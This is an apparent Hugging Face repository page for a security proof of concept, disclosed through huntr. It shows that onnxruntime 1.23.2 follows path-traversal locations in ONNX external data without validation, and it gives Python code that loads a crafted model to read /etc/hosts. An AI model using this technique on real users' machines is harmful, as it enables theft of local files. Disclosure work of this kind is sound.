Downloads · 30 days
0
rez0/onnx-ort-path-traversal-poc
onnx-ort-path-traversal-poc is a machine learning model from rez0. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
Security Research - Responsible Disclosure via huntr
Downloads · 30 days
0
Access
Public
Updated Feb 23, 2026
Repo size
159 B
Likes
0
Public
Click a slice to open those files.
.py5.2 KB · 65%
From the Hugging Face model README
Security Research - Responsible Disclosure via huntr
onnxruntime 1.23.2 (latest PyPI release) loads ONNX models with path traversal
in external_data location fields without validation. The ONNX checker blocks
this, but onnxruntime does NOT call the checker before loading.
Impact: Arbitrary file read on the victim's filesystem.
# pip install onnxruntime==1.23.2 onnx numpy
python poc_ort_file_read.py
# Or manually:
import onnxruntime as ort
import numpy as np
# model.onnx has external_data location = "../../../../etc/hosts"
sess = ort.InferenceSession("model.onnx") # No validation!
result = sess.run(None, {"X": np.zeros((1, 4), dtype=np.float32)})
# result[0] contains bytes from /etc/hosts reinterpreted as float32
raw = result[0].tobytes()
print(raw.decode('utf-8', errors='replace'))
onnx.checker.check_model() validates paths (blocks ../)ort.InferenceSession() never calls the checkerGetExternalDataInfo() joins path without traversal check